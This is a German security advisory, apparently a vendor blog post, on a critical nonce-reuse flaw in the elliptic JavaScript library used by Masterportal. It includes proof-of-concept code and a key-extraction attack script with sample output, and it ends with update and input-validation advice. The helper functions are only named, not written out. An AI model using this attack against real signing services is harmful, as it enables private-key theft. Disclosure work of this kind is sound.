Im Rahmen unseres Security Blogs weisen wir auf eine kritische Sicherheitslücke in der verwendeten Elliptic-Bibliothek hin, die Masterportal betrifft. Die Schwachstelle ermöglicht es, bei der ECDSA-Signatur eines manipulierten Inputs – etwa eines Strings oder einer Zahl, wie sie etwa aus JSON-Netzwerkeingaben stammen könnten – den privaten Schlüssel zu extrahieren. Die CVSS4.0 Bewertung ist mit 9.0/10 als kritisch eingestuft (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N).
Bei der Signaturerstellung in der Elliptic-Bibliothek wird die Nachricht (msg) in einen BN (Big Number) umgewandelt, während der Nonce als Array vorliegt. Unterschiedliche BN-Instanzen können nach der Array-Konversion zu identischen Arrays führen. Daraus folgt, dass für unterschiedliche Nachrichten derselbe Nonce („k“) verwendet werden kann. Diese Wiederverwendung des Nonce ermöglicht es, aus nur einer einzigen manipulierten Signatur den privaten Schlüssel vollständig zu rekonstruieren.
Besonders kritisch ist, dass elliptic von Haus aus Hex-Strings als Eingabetyp akzeptiert. Eine speziell konstruierte Nachricht, die durch Prozesse wie JSON.stringify/JSON.parse läuft, kann somit als Angriffsvektor genutzt werden. Ein Angreifer muss lediglich eine einzelne bösartige Nachricht signieren lassen, um den vollständigen privaten Schlüssel zu erlangen.
Proof of Concept (PoC)
Beispiel für die Wiederverwendung des Nonce:
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // oder z.B. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // Array aus Einsen
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // gleiche Nachricht in Hex-Form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // gleicher r-Wert, unterschiedlicher s-Wert
console.log({ sig0, sig1, sig2 })
Vollständiger Angriff:
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // oder ed25519
const ec = new EC(curve)
// Beliebige Nachricht, z.B. aus einer bekannten Signatur
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Angriff: Eine manipulierte Nachricht (hier als String, könnte auch ein anderer nicht-Uint8Array-Typ sein)
const msg1 = funny(msg0) // "funny" konstruiert eine alternative Darstellung der Nachricht
const sig1 = ec.sign(msg1, privateKey)
// Aus den beiden Signaturen lässt sich der private Schlüssel extrahieren
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
Beispielausgabe:
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Für Kurven wie ed25519 kann der extrahierte Schlüssel zwar numerisch abweichen, ist jedoch für Signaturzwecke äquivalent (wiederhergestellt ≡ original modulo N).
Empfohlene Maßnahmen
- Update der Elliptic-Bibliothek:
Aktualisieren Sie in Ihren Projekten die Abhängigkeit auf Version 6.6.1 oder höher. Beispielhafte Anpassung in derpackage.json
:"dependencies": { "elliptic": ">=6.6.1" }, "devDependencies": { "elliptic": ">=6.6.1" }
- Eingabevalidierung prüfen:
Überprüfen Sie alle Eingaben, die zur Signaturerstellung genutzt werden, insbesondere wenn diese aus externen Quellen (wie JSON-Netzwerkeingaben) stammen, um sicherzustellen, dass sie korrekt validiert und verarbeitet werden.
Die beschriebene Schwachstelle ermöglicht es, durch die Signierung einer einzigen, speziell manipulierten Nachricht den privaten Schlüssel vollständig zu extrahieren – ein Szenario, das die Sicherheit kryptografischer Prozesse massiv gefährdet. Es wird dringend empfohlen, die Elliptic-Bibliothek umgehend zu aktualisieren und zusätzliche Maßnahmen zur Validierung der Eingabedaten zu implementieren, um eine Kompromittierung der Sicherheitsinfrastruktur zu verhindern.
Professionelle Hilfe erwünscht?
Sentiguard ist spezialisiert auf Notfallhilfe nach Cyberattacken, IT Sicherheitsbeauftragte und IT Sicherheitskonzepte nach BSI Standard. Haben Sie Fragen und wünschen Sie unverbindliche Beratung, dann melden Sie sich gerne bei uns: